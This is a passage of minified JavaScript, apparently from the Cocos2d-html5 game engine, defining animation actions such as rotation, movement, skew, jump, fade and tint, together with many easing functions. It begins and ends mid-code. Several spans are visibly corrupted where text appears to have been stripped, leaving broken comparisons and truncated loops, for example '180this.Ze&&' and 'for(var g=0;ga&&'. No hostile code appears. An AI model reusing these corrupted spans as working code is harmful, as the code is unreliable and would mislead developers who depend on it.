subclass.")},update:function(a){a=this.gd(a);this.target&&(this.target.rotationX=this.as+this.AJ*a,this.target.rotationY=this.Ko+this.BJ*a)}});b.K4=function(a,c,d){return new b.eA(a,c,d)};b.eA.create=b.K4; b.ou=b.v.extend({bh:0,as:0,Su:0,Ko:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(this.bh=c||0,this.Su=d||this.bh,!0):!1},k:function(){var a=new b.ou;this.va(a);a.e(this.p,this.bh,this.Su);return a},A:function(a){b.v.prototype.A.call(this,a);this.as=a.rotationX;this.Ko=a.rotationY},update:function(a){a=this.gd(a);this.target&&(this.target.rotationX=this.as+this.bh*a,this.target.rotationY=this.Ko+this.Su*a)},reverse:function(){var a= new b.ou(this.p,-this.bh,-this.Su);this.va(a);this.fe(a);return a}});b.bG=function(a,c,d){return new b.ou(a,c,d)};b.ou.create=b.bG; b.$j=b.v.extend({ni:null,Bc:null,Oc:null,ctor:function(a,c,d){b.v.prototype.ctor.call(this);this.ni=b.d(0,0);this.Bc=b.d(0,0);this.Oc=b.d(0,0);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(void 0!==c.x&&(d=c.y,c=c.x),this.ni.x=c,this.ni.y=d,!0):!1},k:function(){var a=new b.$j;this.va(a);a.e(this.p,this.ni);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.Le();a=a.Jg();this.Oc.x=c;this.Oc.y=a;this.Bc.x=c;this.Bc.y=a},update:function(a){a=this.gd(a);if(this.target){var c= this.ni.x*a;a*=this.ni.y;var d=this.Bc;if(b.Ht){var e=this.target.Jg(),f=this.Oc;d.x=d.x+this.target.Le()-f.x;d.y=d.y+e-f.y;c+=d.x;a+=d.y;f.x=c;f.y=a;this.target.T(c,a)}else this.target.T(d.x+c,d.y+a)}},reverse:function(){var a=new b.$j(this.p,b.d(-this.ni.x,-this.ni.y));this.va(a);this.fe(a);return a}});b.moveBy=function(a,c,d){return new b.$j(a,c,d)};b.$j.create=b.moveBy; b.Jz=b.$j.extend({Cf:null,ctor:function(a,c,d){b.$j.prototype.ctor.call(this);this.Cf=b.d(0,0);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.$j.prototype.e.call(this,a,c,d)?(void 0!==c.x&&(d=c.y,c=c.x),this.Cf.x=c,this.Cf.y=d,!0):!1},k:function(){var a=new b.Jz;this.va(a);a.e(this.p,this.Cf);return a},A:function(a){b.$j.prototype.A.call(this,a);this.ni.x=this.Cf.x-a.Le();this.ni.y=this.Cf.y-a.Jg()}});b.moveTo=function(a,c,d){return new b.Jz(a,c,d)};b.Jz.create=b.moveTo; b.El=b.v.extend({uh:0,vh:0,uw:0,vw:0,nv:0,ov:0,Ze:0,$e:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==d&&this.e(a,c,d)},e:function(a,c,d){var e=!1;b.v.prototype.e.call(this,a)&&(this.nv=c,this.ov=d,e=!0);return e},k:function(){var a=new b.El;this.va(a);a.e(this.p,this.nv,this.ov);return a},A:function(a){b.v.prototype.A.call(this,a);this.uw=a.skewX%180;this.Ze=this.nv-this.uw;180this.Ze&&(this.Ze+=360);this.vw=a.skewY%360;this.$e=this.ov-this.vw;180this.$e&&(this.$e+=360)},update:function(a){a=this.gd(a);this.target.skewX=this.uw+this.Ze*a;this.target.skewY=this.vw+this.$e*a}});b.a6=function(a,c,d){return new b.El(a,c,d)};b.El.create=b.a6; b.tu=b.El.extend({ctor:function(a,c,d){b.El.prototype.ctor.call(this);void 0!==d&&this.e(a,c,d)},e:function(a,c,d){var e=!1;b.El.prototype.e.call(this,a,c,d)&&(this.uh=c,this.vh=d,e=!0);return e},k:function(){var a=new b.tu;this.va(a);a.e(this.p,this.uh,this.vh);return a},A:function(a){b.El.prototype.A.call(this,a);this.Ze=this.uh;this.$e=this.vh;this.nv=this.uw+this.Ze;this.ov=this.vw+this.$e},reverse:function(){var a=new b.tu(this.p,-this.uh,-this.vh);this.va(a);this.fe(a);return a}}); b.Z5=function(a,c,d){return new b.tu(a,c,d)};b.tu.create=b.Z5; b.Zj=b.v.extend({Bc:null,di:null,zr:0,fj:0,Oc:null,ctor:function(a,c,d,e,f){b.v.prototype.ctor.call(this);this.Bc=b.d(0,0);this.Oc=b.d(0,0);this.di=b.d(0,0);void 0!==e&&this.e(a,c,d,e,f)},e:function(a,c,d,e,f){return b.v.prototype.e.call(this,a)?(void 0===f&&(f=e,e=d,d=c.y,c=c.x),this.di.x=c,this.di.y=d,this.zr=e,this.fj=f,!0):!1},k:function(){var a=new b.Zj;this.va(a);a.e(this.p,this.di,this.zr,this.fj);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.Le();a=a.Jg();this.Oc.x=c;this.Oc.y= a;this.Bc.x=c;this.Bc.y=a},update:function(a){a=this.gd(a);if(this.target){var c=a*this.fj%1,c=4*this.zr*c*(1-c),c=c+this.di.y*a;a*=this.di.x;var d=this.Bc;if(b.Ht){var e=this.target.Jg(),f=this.Oc;d.x=d.x+this.target.Le()-f.x;d.y=d.y+e-f.y;a+=d.x;c+=d.y;f.x=a;f.y=c;this.target.T(a,c)}else this.target.T(d.x+a,d.y+c)}},reverse:function(){var a=new b.Zj(this.p,b.d(-this.di.x,-this.di.y),this.zr,this.fj);this.va(a);this.fe(a);return a}});b.AO=function(a,c,d,e,f){return new b.Zj(a,c,d,e,f)}; b.Zj.create=b.AO;b.Bz=b.Zj.extend({Cf:null,ctor:function(a,c,d,e,f){b.Zj.prototype.ctor.call(this);this.Cf=b.d(0,0);void 0!==e&&this.e(a,c,d,e,f)},e:function(a,c,d,e,f){return b.Zj.prototype.e.call(this,a,c,d,e,f)?(void 0===f&&(d=c.y,c=c.x),this.Cf.x=c,this.Cf.y=d,!0):!1},A:function(a){b.Zj.prototype.A.call(this,a);this.di.x=this.Cf.x-this.Bc.x;this.di.y=this.Cf.y-this.Bc.y},k:function(){var a=new b.Bz;this.va(a);a.e(this.p,this.Cf,this.zr,this.fj);return a}}); b.S2=function(a,c,d,e,f){return new b.Bz(a,c,d,e,f)};b.Bz.create=b.S2;b.JM=function(a,c,d,e){return 0*Math.pow(1-e,3)+3*e*Math.pow(1-e,2)*a+3*Math.pow(e,2)*(1-e)*c+Math.pow(e,3)*d}; b.wl=b.v.extend({zf:null,Bc:null,Oc:null,ctor:function(a,c){b.v.prototype.ctor.call(this);this.zf=[];this.Bc=b.d(0,0);this.Oc=b.d(0,0);c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.zf=c,!0):!1},k:function(){var a=new b.wl;this.va(a);for(var c=[],d=0;dc/2}},A:function(a){b.v.prototype.A.call(this,a);this.mL=a.visible},stop:function(){this.target.visible=this.mL;b.v.prototype.stop.call(this)},reverse:function(){var a= new b.Ft(this.p,this.Xb);this.va(a);this.fe(a);return a}});b.blink=function(a,c){return new b.Ft(a,c)};b.Ft.create=b.blink; b.Yj=b.v.extend({So:0,wv:0,ctor:function(a,c){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.So=c,!0):!1},k:function(){var a=new b.Yj;this.va(a);a.e(this.p,this.So);return a},update:function(a){a=this.gd(a);var c=void 0!==this.wv?this.wv:255;this.target.opacity=c+(this.So-c)*a},A:function(a){b.v.prototype.A.call(this,a);this.wv=a.opacity}});b.sN=function(a,c){return new b.Yj(a,c)};b.Yj.create=b.sN; b.au=b.Yj.extend({XC:null,ctor:function(a){b.Yj.prototype.ctor.call(this);a&&this.e(a,255)},reverse:function(){var a=new b.bu;a.e(this.p,0);this.va(a);this.fe(a);return a},k:function(){var a=new b.au;this.va(a);a.e(this.p,this.So);return a},A:function(a){this.XC&&(this.So=this.XC.wv);b.Yj.prototype.A.call(this,a)}});b.nN=function(a){return new b.au(a)};b.au.create=b.nN; b.bu=b.Yj.extend({ctor:function(a){b.Yj.prototype.ctor.call(this);a&&this.e(a,0)},reverse:function(){var a=new b.au;a.XC=this;a.e(this.p,255);this.va(a);this.fe(a);return a},k:function(){var a=new b.bu;this.va(a);a.e(this.p,this.So);return a}});b.oN=function(a){return new b.bu(a)};b.bu.create=b.oN; b.zA=b.v.extend({md:null,Mc:null,ctor:function(a,c,d,e){b.v.prototype.ctor.call(this);this.md=b.color(0,0,0);this.Mc=b.color(0,0,0);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.v.prototype.e.call(this,a)?(this.md=b.color(c,d,e),!0):!1},k:function(){var a=new b.zA;this.va(a);var c=this.md;a.e(this.p,c.r,c.g,c.b);return a},A:function(a){b.v.prototype.A.call(this,a);this.Mc=this.target.color},update:function(a){a=this.gd(a);var c=this.Mc,d=this.md;c&&(this.target.color=b.color(c.r+(d.r- c.r)*a,c.g+(d.g-c.g)*a,c.b+(d.b-c.b)*a))}});b.D6=function(a,c,d,e){return new b.zA(a,c,d,e)};b.zA.create=b.D6; b.Cu=b.v.extend({iv:0,hv:0,gv:0,tK:0,sK:0,rK:0,ctor:function(a,c,d,e){b.v.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.v.prototype.e.call(this,a)?(this.iv=c,this.hv=d,this.gv=e,!0):!1},k:function(){var a=new b.Cu;this.va(a);a.e(this.p,this.iv,this.hv,this.gv);return a},A:function(a){b.v.prototype.A.call(this,a);a=a.color;this.tK=a.r;this.sK=a.g;this.rK=a.b},update:function(a){a=this.gd(a);this.target.color=b.color(this.tK+this.iv*a,this.sK+this.hv*a,this.rK+ this.gv*a)},reverse:function(){var a=new b.Cu(this.p,-this.iv,-this.hv,-this.gv);this.va(a);this.fe(a);return a}});b.C6=function(a,c,d,e){return new b.Cu(a,c,d,e)};b.Cu.create=b.C6;b.rn=b.v.extend({update:function(){},reverse:function(){var a=new b.rn(this.p);this.va(a);this.fe(a);return a},k:function(){var a=new b.rn;this.va(a);a.e(this.p);return a}});b.Ud=function(a){return new b.rn(a)};b.rn.create=b.Ud; b.Eq=b.v.extend({kj:null,ctor:function(a){b.v.prototype.ctor.call(this);this.kj=null;a&&this.$(a)},$:function(a){if(!a)throw"cc.ReverseTime.initWithAction(): action must be non null";if(a==this.kj)throw"cc.ReverseTime.initWithAction(): the action was already passed in.";return b.v.prototype.e.call(this,a.p)?(this.kj=a,!0):!1},k:function(){var a=new b.Eq;this.va(a);a.$(this.kj.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.kj.A(a)},update:function(a){a=this.gd(a);this.kj&&this.kj.update(1- a)},reverse:function(){return this.kj.k()},stop:function(){this.kj.stop();b.td.prototype.stop.call(this)}});b.xP=function(a){return new b.Eq(a)};b.Eq.create=b.xP; b.Et=b.v.extend({pk:null,Jr:0,tC:null,rv:0,tD:null,ctor:function(a){b.v.prototype.ctor.call(this);this.tD=[];a&&this.jO(a)},zN:function(){return this.pk},Q4:function(a){this.pk=a},jO:function(a){if(!a)throw"cc.Animate.initWithAnimation(): animation must be non-NULL";var c=a.np();if(this.e(c*a.gj)){this.Jr=0;this.Q4(a);this.tC=null;this.rv=0;var d=this.tD,e=d.length=0,f=c/a.vi;a=a.Od;b.us(a,b.ig);for(var g=0;ga&&(a*=this.pk.gj,(0|a)>this.rv&&(this.Jr=0,this.rv++),a%=1);for(var c=this.pk.Od,d=c.length,e=this.tD,f=this.Jr;fc?Math.PI-Math.asin(e/f):Math.asin(e/f);return{I3:d/b.bq.up(),X6:a,azimuth:c}},A:function(a){b.v.prototype.A.call(this,a);a=this.b6();isNaN(this.De)&&(this.De=a.I3);isNaN(this.Wq)&&(this.Wq=b.WF(a.X6));isNaN(this.bh)&&(this.bh=b.WF(a.azimuth));this.yL=b.Pf(this.Wq);this.xL=b.Pf(this.bh)},k:function(){var a=new b.zq;a.e(this.p,this.De,this.tB,this.Wq,this.yJ,this.bh,this.xJ);return a},update:function(a){a=this.gd(a);var c=(this.De+ this.tB*a)*b.bq.up(),d=this.yL+this.wL*a,e=this.xL+this.vL*a;a=Math.sin(d)*Math.cos(e)*c+this.kB;e=Math.sin(d)*Math.sin(e)*c+this.lB;c=Math.cos(d)*c+this.mB;this.target.Tm().KP(a,e,c)}});b.Oh=function(a,c,d,e,f,g,h){return new b.zq(a,c,d,e,f,g,h)};b.zq.create=b.Oh;b.Na=b.v.extend({q:null,ctor:function(a){b.v.prototype.ctor.call(this);a&&this.$(a)},$:function(a){if(!a)throw"cc.ActionEase.initWithAction(): action must be non nil";return this.e(a.np())?(this.q=a,!0):!1},k:function(){var a=new b.Na;a.$(this.q.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.q.A(this.target)},stop:function(){this.q.stop();b.v.prototype.stop.call(this)},update:function(a){this.q.update(a)},reverse:function(){return new b.Na(this.q.reverse())},YE:function(){return this.q}}); b.UZ=function(a){return new b.Na(a)};b.Na.create=b.UZ;b.yl=b.Na.extend({Vb:0,ctor:function(a,c){b.Na.prototype.ctor.call(this);void 0!==c&&this.$(a,c)},Dka:function(a){this.Vb=a},Fda:function(){return this.Vb},$:function(a,c){return b.Na.prototype.$.call(this,a)?(this.Vb=c,!0):!1},k:function(){var a=new b.yl;a.$(this.q.k(),this.Vb);return a},reverse:function(){return new b.yl(this.q.reverse(),1/this.Vb)}});b.u0=function(a,c){return new b.yl(a,c)};b.yl.create=b.u0; b.Wt=b.yl.extend({update:function(a){this.q.update(Math.pow(a,this.Vb))},reverse:function(){return new b.Wt(this.q.reverse(),1/this.Vb)},k:function(){var a=new b.Wt;a.$(this.q.k(),this.Vb);return a}});b.Wt.create=function(a,c){return new b.Wt(a,c)};b.r0=function(a){return{Vb:a,Ra:function(a){return Math.pow(a,this.Vb)},reverse:function(){return b.r0(1/this.Vb)}}}; b.un=b.yl.extend({update:function(a){this.q.update(Math.pow(a,1/this.Vb))},reverse:function(){return new b.un(this.q.reverse(),1/this.Vb)},k:function(){var a=new b.un;a.$(this.q.k(),this.Vb);return a}});b.un.create=function(a,c){return new b.un(a,c)};b.t0=function(a){return{Vb:a,Ra:function(a){return Math.pow(a,1/this.Vb)},reverse:function(){return b.t0(1/this.Vb)}}}; b.tn=b.yl.extend({update:function(a){a*=2;1>a?this.q.update(0.5*Math.pow(a,this.Vb)):this.q.update(1-0.5*Math.pow(2-a,this.Vb))},k:function(){var a=new b.tn;a.$(this.q.k(),this.Vb);return a},reverse:function(){return new b.tn(this.q.reverse(),this.Vb)}});b.tn.create=function(a,c){return new b.tn(a,c)};b.s0=function(a){return{Vb:a,Ra:function(a){a*=2;return 1>a?0.5*Math.pow(a,this.Vb):1-0.5*Math.pow(2-a,this.Vb)},reverse:function(){return b.s0(this.Vb)}}}; b.Tt=b.Na.extend({update:function(a){this.q.update(0===a?0:Math.pow(2,10*(a-1)))},reverse:function(){return new b.Vt(this.q.reverse())},k:function(){var a=new b.Tt;a.$(this.q.k());return a}});b.Tt.create=function(a){return new b.Tt(a)};b.SJ={Ra:function(a){return 0===a?0:Math.pow(2,10*(a-1))},reverse:function(){return b.UJ}};b.kba=function(){return b.SJ}; b.Vt=b.Na.extend({update:function(a){this.q.update(1==a?1:-Math.pow(2,-10*a)+1)},reverse:function(){return new b.Tt(this.q.reverse())},k:function(){var a=new b.Vt;a.$(this.q.k());return a}});b.Vt.create=function(a){return new b.Vt(a)};b.UJ={Ra:function(a){return 1==a?1:-Math.pow(2,-10*a)+1},reverse:function(){return b.SJ}};b.mba=function(){return b.UJ}; b.Ut=b.Na.extend({update:function(a){1!=a&&0!==a&&(a*=2,a=1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2));this.q.update(a)},reverse:function(){return new b.Ut(this.q.reverse())},k:function(){var a=new b.Ut;a.$(this.q.k());return a}});b.Ut.create=function(a){return new b.Ut(a)};b.TJ={Ra:function(a){return 1!==a&&0!==a?(a*=2,1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2)):a},reverse:function(){return b.TJ}};b.lba=function(){return b.TJ}; b.Xt=b.Na.extend({update:function(a){a=0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1;this.q.update(a)},reverse:function(){return new b.Zt(this.q.reverse())},k:function(){var a=new b.Xt;a.$(this.q.k());return a}});b.Xt.create=function(a){return new b.Xt(a)};b.dK={Ra:function(a){return 0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1},reverse:function(){return b.fK}};b.wba=function(){return b.dK}; b.Zt=b.Na.extend({update:function(a){a=0===a||1===a?a:Math.sin(a*Math.PI/2);this.q.update(a)},reverse:function(){return new b.Xt(this.q.reverse())},k:function(){var a=new b.Zt;a.$(this.q.k());return a}});b.Zt.create=function(a){return new b.Zt(a)};b.fK={Ra:function(a){return 0===a||1==a?a:Math.sin(a*Math.PI/2)},reverse:function(){return b.dK}};b.yba=function(){return b.fK}; b.Yt=b.Na.extend({update:function(a){a=0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1);this.q.update(a)},k:function(){var a=new b.Yt;a.$(this.q.k());return a},reverse:function(){return new b.Yt(this.q.reverse())}});b.Yt.create=function(a){return new b.Yt(a)};b.eK={Ra:function(a){return 0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1)},reverse:function(){return b.eK}};b.xba=function(){return b.eK}; b.sn=b.Na.extend({Cb:0.3,ctor:function(a,c){b.Na.prototype.ctor.call(this);a&&this.$(a,c)},yda:function(){return this.Cb},zka:function(a){this.Cb=a},$:function(a,c){b.Na.prototype.$.call(this,a);this.Cb=null==c?0.3:c;return!0},reverse:function(){b.log("cc.EaseElastic.reverse(): it should be overridden in subclass.");return null},k:function(){var a=new b.sn;a.$(this.q.k(),this.Cb);return a}});b.sn.create=function(a,c){return new b.sn(a,c)}; b.Qt=b.sn.extend({update:function(a){var c=0;0===a||1===a?c=a:(c=this.Cb/4,a-=1,c=-Math.pow(2,10*a)*Math.sin((a-c)*Math.PI*2/this.Cb));this.q.update(c)},reverse:function(){return new b.St(this.q.reverse(),this.Cb)},k:function(){var a=new b.Qt;a.$(this.q.k(),this.Cb);return a}});b.Qt.create=function(a,c){return new b.Qt(a,c)};b.QJ={Ra:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)},reverse:function(){return b.RJ}}; b.o0=function(a){return a&&0.3!==a?{Cb:a,Ra:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)},reverse:function(){return b.q0(this.Cb)}}:b.QJ};b.St=b.sn.extend({update:function(a){var c=0,c=0===a||1==a?a:Math.pow(2,-10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)+1;this.q.update(c)},reverse:function(){return new b.Qt(this.q.reverse(),this.Cb)},k:function(){var a=new b.St;a.$(this.q.k(),this.Cb);return a}}); b.St.create=function(a,c){return new b.St(a,c)};b.RJ={Ra:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)+1},reverse:function(){return b.QJ}};b.q0=function(a){return a&&0.3!==a?{Cb:a,Ra:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)+1},reverse:function(){return b.o0(this.Cb)}}:b.RJ}; b.Rt=b.sn.extend({update:function(a){var c=0,c=this.Cb;if(0===a||1==a)c=a;else{c||(c=this.Cb=0.3*1.5);var d=c/4;a=2*a-1;c=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-d)*Math.PI*2/c):Math.pow(2,-10*a)*Math.sin((a-d)*Math.PI*2/c)*0.5+1}this.q.update(c)},reverse:function(){return new b.Rt(this.q.reverse(),this.Cb)},k:function(){var a=new b.Rt;a.$(this.q.k(),this.Cb);return a}});b.Rt.create=function(a,c){return new b.Rt(a,c)}; b.p0=function(a){return{Cb:a||0.3,Ra:function(a){var d=0,d=this.Cb;if(0===a||1===a)d=a;else{d||(d=this.Cb=0.3*1.5);var e=d/4;a=2*a-1;d=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-e)*Math.PI*2/d):Math.pow(2,-10*a)*Math.sin((a-e)*Math.PI*2/d)*0.5+1}return d},reverse:function(){return b.p0(this.Cb)}}}; b.xl=b.Na.extend({Yw:function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375},k:function(){var a=new b.xl;a.$(this.q.k());return a},reverse:function(){return new b.xl(this.q.reverse())}});b.xl.create=function(a){return new b.xl(a)}; b.Nt=b.xl.extend({update:function(a){this.q.update(1-this.Yw(1-a))},reverse:function(){return new b.Pt(this.q.reverse())},k:function(){var a=new b.Nt;a.$(this.q.k());return a}});b.Nt.create=function(a){return new b.Nt(a)};b.Wu=function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375};b.HJ={Ra:function(a){return 1-b.Wu(1-a)},reverse:function(){return b.JJ}};b.bba=function(){return b.HJ}; b.Pt=b.xl.extend({update:function(a){this.q.update(this.Yw(a))},reverse:function(){return new b.Nt(this.q.reverse())},k:function(){var a=new b.Pt;a.$(this.q.k());return a}});b.Pt.create=function(a){return new b.Pt(a)};b.JJ={Ra:function(a){return b.Wu(a)},reverse:function(){return b.HJ}};b.dba=function(){return b.JJ};b.Ot=b.xl.extend({update:function(a){var c=0,c=0.5>a?0.5*(1-this.Yw(1-2*a)):0.5*this.Yw(2*a-1)+0.5;this.q.update(c)},k:function(){var a=new b.Ot;a.$(this.q.k());return a},reverse:function(){return new b.Ot(this.q.reverse())}}); b.Ot.create=function(a){return new b.Ot(a)};b.IJ={Ra:function(a){return a=0.5>a?0.5*(1-b.Wu(1-2*a)):0.5*b.Wu(2*a-1)+0.5},reverse:function(){return b.IJ}};b.cba=function(){return b.IJ};b.Kt=b.Na.extend({update:function(a){this.q.update(0===a||1==a?a:a*a*(2.70158*a-1.70158))},reverse:function(){return new b.Mt(this.q.reverse())},k:function(){var a=new b.Kt;a.$(this.q.k());return a}});b.Kt.create=function(a){return new b.Kt(a)};b.EJ={Ra:function(a){return 0===a||1===a?a:a*a*(2.70158*a-1.70158)},reverse:function(){return b.GJ}}; b.Zaa=function(){return b.EJ};b.Mt=b.Na.extend({update:function(a){a-=1;this.q.update(a*a*(2.70158*a+1.70158)+1)},reverse:function(){return new b.Kt(this.q.reverse())},k:function(){var a=new b.Mt;a.$(this.q.k());return a}});b.Mt.create=function(a){return new b.Mt(a)};b.GJ={Ra:function(a){a-=1;return a*a*(2.70158*a+1.70158)+1},reverse:function(){return b.EJ}};b.aba=function(){return b.GJ}; b.Lt=b.Na.extend({update:function(a){a*=2;1>a?this.q.update(a*a*(3.5949095*a-2.5949095)/2):(a-=2,this.q.update(a*a*(3.5949095*a+2.5949095)/2+1))},k:function(){var a=new b.Lt;a.$(this.q.k());return a},reverse:function(){return new b.Lt(this.q.reverse())}});b.Lt.create=function(a){return new b.Lt(a)};b.FJ={Ra:function(a){a*=2;if(1>a)return a*a*(3.5949095*a-2.5949095)/2;a-=2;return a*a*(3.5949095*a+2.5949095)/2+1},reverse:function(){return b.FJ}};b.$aa=function(){return b.FJ}; b.eq=b.Na.extend({Wv:null,Xv:null,Yv:null,Zv:null,ctor:function(a){b.Na.prototype.ctor.call(this,a)},na:function(a,c,d,e,f){return Math.pow(1-f,3)*a+3*f*Math.pow(1-f,2)*c+3*Math.pow(f,2)*(1-f)*d+Math.pow(f,3)*e},update:function(a){this.q.update(this.na(this.Wv,this.Xv,this.Yv,this.Zv,a))},k:function(){var a=new b.eq;a.$(this.q.k());a.EP(this.Wv,this.Xv,this.Yv,this.Zv);return a},reverse:function(){var a=new b.eq(this.q.reverse());a.EP(this.Zv,this.Yv,this.Xv,this.Wv);return a},EP:function(a,c,d,e){this.Wv= a||0;this.Xv=c||0;this.Yv=d||0;this.Zv=e||0}});b.eq.create=function(a){return new b.eq(a)};b.n0=function(a,c,d,e){return{Ra:function(f){return b.eq.prototype.na(a,c,d,e,f)},reverse:function(){return b.n0(e,d,c,a)}}};b.lq=b.Na.extend({na:function(a){return Math.pow(a,2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.lq;a.$(this.q.k());return a},reverse:function(){return new b.lq(this.q.reverse())}});b.lq.create=function(a){return new b.lq(a)};b.VJ={Ra:b.lq.prototype.na,reverse:function(){return b.VJ}}; b.nba=function(){return b.VJ};b.nq=b.Na.extend({na:function(a){return-a*(a-2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.nq;a.$();return a},reverse:function(){return new b.nq(this.q.reverse())}});b.nq.create=function(a){return new b.nq(a)};b.XJ={Ra:b.nq.prototype.na,reverse:function(){return b.XJ}};b.pba=function(){return b.XJ}; b.mq=b.Na.extend({na:function(a){var c=a;a*=2;1>a?c=a*a*0.5:(--a,c=-0.5*(a*(a-2)-1));return c},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.mq;a.$(this.q.k());return a},reverse:function(){return new b.mq(this.q.reverse())}});b.mq.create=function(a){return new b.mq(a)};b.WJ={Ra:b.mq.prototype.na,reverse:function(){return b.WJ}};b.oba=function(){return b.WJ}; b.oq=b.Na.extend({na:function(a){return a*a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.oq;a.$(this.q.k());return a},reverse:function(){return new b.oq(this.q.reverse())}});b.oq.create=function(a){return new b.oq(a)};b.YJ={Ra:b.oq.prototype.na,reverse:function(){return b.YJ}};b.qba=function(){return b.YJ};b.qq=b.Na.extend({na:function(a){a-=1;return-(a*a*a*a-1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.qq;a.$(this.q.k());return a},reverse:function(){return new b.qq(this.q.reverse())}}); b.qq.create=function(a){return new b.qq(a)};b.$J={Ra:b.qq.prototype.na,reverse:function(){return b.$J}};b.sba=function(){return b.$J};b.pq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a*a;a-=2;return-0.5*(a*a*a*a-2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.pq;a.$(this.q.k());return a},reverse:function(){return new b.pq(this.q.reverse())}});b.pq.create=function(a){return new b.pq(a)};b.ZJ={Ra:b.pq.prototype.na,reverse:function(){return b.ZJ}};b.rba=function(){return b.ZJ}; b.rq=b.Na.extend({na:function(a){return a*a*a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.rq;a.$(this.q.k());return a},reverse:function(){return new b.rq(this.q.reverse())}});b.rq.create=function(a){return new b.rq(a)};b.aK={Ra:b.rq.prototype.na,reverse:function(){return b.aK}};b.tba=function(){return b.aK};b.tq=b.Na.extend({na:function(a){a-=1;return a*a*a*a*a+1},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.tq;a.$(this.q.k());return a},reverse:function(){return new b.tq(this.q.reverse())}}); b.tq.create=function(a){return new b.tq(a)};b.cK={Ra:b.tq.prototype.na,reverse:function(){return b.cK}};b.vba=function(){return b.cK};b.sq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a*a*a;a-=2;return 0.5*(a*a*a*a*a+2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.sq;a.$(this.q.k());return a},reverse:function(){return new b.sq(this.q.reverse())}});b.sq.create=function(a){return new b.sq(a)};b.bK={Ra:b.sq.prototype.na,reverse:function(){return b.bK}};b.uba=function(){return b.bK}; b.fq=b.Na.extend({na:function(a){return-1*(Math.sqrt(1-a*a)-1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.fq;a.$(this.q.k());return a},reverse:function(){return new b.fq(this.q.reverse())}});b.fq.create=function(a){return new b.fq(a)};b.KJ={Ra:b.fq.prototype.na,reverse:function(){return b.KJ}};b.eba=function(){return b.KJ}; b.hq=b.Na.extend({na:function(a){a-=1;return Math.sqrt(1-a*a)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.hq;a.$(this.q.k());return a},reverse:function(){return new b.hq(this.q.reverse())}});b.hq.create=function(a){return new b.hq(a)};b.MJ={Ra:b.hq.prototype.na,reverse:function(){return b.MJ}};b.gba=function(){return b.MJ}; b.gq=b.Na.extend({na:function(a){a*=2;if(1>a)return-0.5*(Math.sqrt(1-a*a)-1);a-=2;return 0.5*(Math.sqrt(1-a*a)+1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.gq;a.$(this.q.k());return a},reverse:function(){return new b.gq(this.q.reverse())}});b.gq.create=function(a){return new b.gq(a)};b.LJ={Ra:b.gq.prototype.na,reverse:function(){return b.LJ}};b.fba=function(){return b.LJ}; b.iq=b.Na.extend({na:function(a){return a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.iq;a.$(this.q.k());return a},reverse:function(){return new b.iq(this.q.reverse())}});b.iq.create=function(a){return new b.iq(a)};b.NJ={Ra:b.iq.prototype.na,reverse:function(){return b.NJ}};b.hba=function(){return b.NJ};b.kq=b.Na.extend({na:function(a){a-=1;return a*a*a+1},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.kq;a.$(this.q.k());return a},reverse:function(){return new b.kq(this.q.reverse())}}); b.kq.create=function(a){return new b.kq(a)};b.PJ={Ra:b.kq.prototype.na,reverse:function(){return b.PJ}};b.jba=function(){return b.PJ};b.jq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a;a-=2;return 